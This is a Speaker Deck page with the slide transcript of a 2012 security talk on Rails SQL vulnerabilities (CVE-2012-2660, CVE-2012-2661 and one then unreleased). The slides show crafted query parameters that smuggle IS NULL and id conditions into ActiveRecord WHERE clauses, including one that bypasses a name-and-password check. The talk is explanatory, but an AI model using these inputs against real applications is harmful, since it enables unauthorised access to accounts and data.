Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
"Recent Rails SQL Issues" - 2012
Search
Justin Collins
April 23, 2015
Programming
90
0
Share
Embed
Copy iframe code
Copy JS code
Copy link
Start on current slide
"Recent Rails SQL Issues" - 2012
Justin Collins
April 23, 2015
More Decks by Justin Collins
See All by Justin Collins
Continuous (Application) Security at DevOps Velocity
presidentbeef
0
170
The Evolution of Rails Security
presidentbeef
1
890
Brakeman RailsConf 2017 Lightning Talk
presidentbeef
0
180
Practical Static Analysis for Continuous Application Security
presidentbeef
0
270
"...But Doesn't Rails Take Care of Security for Me?"
presidentbeef
1
510
Continuous Security with Practical Static Analysis
presidentbeef
1
380
Security Automation at Twitter - Rise of the Machines
presidentbeef
0
310
The World of Rails Security - RailsConf 2015
presidentbeef
8
1.3k
Tales from the Crypt
presidentbeef
1
280
Other Decks in Programming
See All in Programming
数百円から始めるRuby電子工作
tarosay
0
160
【やさしく解説 設計編・中級 #6】良いアーキテクチャとは ~ 一本の登り道の、行き先 ~
panda728
PRO
0
220
Go 1.27 における memory allocation の高速化
andpad
0
200
生成AI導入の「期待外れ」を乗り越える ー 開発フロー改革が目指す、真の組織変革
starfish719
0
4.6k
PHP に部分適用が来るぞ!……ところで何それ?おいしいの? #phpcon / phpcon-2026
shogogg
0
670
the container ship “Apple Silicon”@WWDC26 Recap -Japan-\(region).swift
shingangan
0
130
Detecting Compromised CI with eBPF and Cilium Tetragon
lizrice
0
200
改善しないと、タスクが回らない。 “てんこ盛りポジション” を引き継いだ情シスの、入社3ヶ月の業務改善録
krm963
0
270
ここ半年くらいでAIに作らせたR用ツール
eitsupi
0
380
Building a Meta Ray-Ban display app
akkeylab
0
160
為什麼你並不需要ViewModel / No, you don't need a ViewModel
lovee
1
500
PHP Application における Kubernetes 内 gRPC 通信
ganchiku
0
590
Featured
See All Featured
RailsConf & Balkan Ruby 2019: The Past, Present, and Future of Rails at GitHub
eileencodes
141
35k
Amusing Abliteration
ianozsvald
1
250
Hiding What from Whom? A Critical Review of the History of Programming languages for Music
tomoyanonymous
3
1.1k
Digital Ethics as a Driver of Design Innovation
axbom
PRO
1
370
The AI Search Optimization Roadmap by Aleyda Solis
aleyda
1
6.1k
Introduction to Domain-Driven Design and Collaborative software design
baasie
1
940
The Pragmatic Product Professional
lauravandoore
37
7.4k
The Director’s Chair: Orchestrating AI for Truly Effective Learning
tmiket
1
270
A designer walks into a library…
pauljervisheath
211
24k
Impact Scores and Hybrid Strategies: The future of link building
tamaranovitovic
0
400
How to Think Like a Performance Engineer
csswizardry
28
2.7k
End of SEO as We Know It (SMX Advanced Version)
ipullrank
3
4.4k
Transcript
Rails Vulnerabilities Last Week CVE-2012-2660 CVE-2012-2661
CVE-2012-2660 Allows unexpected “IS NULL” in queries Affects Rails 2.x
and 3.x
ActiveRecord Query unless params[:name].nil? @user = User.where(:name => params[:name]) end
Query Parameters ?name[] {"name"=>[nil]}
ActiveRecord Query unless [nil].nil? @user = User.where(:name => [nil]) end
Resulting SQL SELECT "users".* FROM "users" WHERE "users"."name" IS NULL
CVE-2012-2661 Allows some manipulation of WHERE clause via “dotted” query
keys Affects Rails 3.x
ActiveRecord Query User.where(:name => params[:name])
ActiveRecord Query User.where("users.name" => params[:name])
Query Parameters ?name[users.id]=1 {"name"=>{"users.id"=>"1"}}
ActiveRecord Query User.where(:name => {"users.id" => "1"})
Resulting SQL SELECT "users".* FROM "users" WHERE "users"." id" =
1
Unreleased Vulnerability Allows some manipulation of WHERE clause via nested
hashes in query values Affects 2.3.x and 3.x
ActiveRecord Query User.where(:name => params[:name], :password => params[:password])
Query Parameters ?name[users][id]=1&password[users][id]=1 {"name"=>{"users"=>{"id"=>"1"}}, "password" =>{"users"=>{"id"=>"1"}}}
ActiveRecord Query User.where( :name => {"users"=>{"id"=>"1"}, :password => {"users"=>{"id"=>"1"} )
Resulting SQL SELECT "users".* FROM "users" WHERE "users"." id" =
1 AND "users"."id" = 1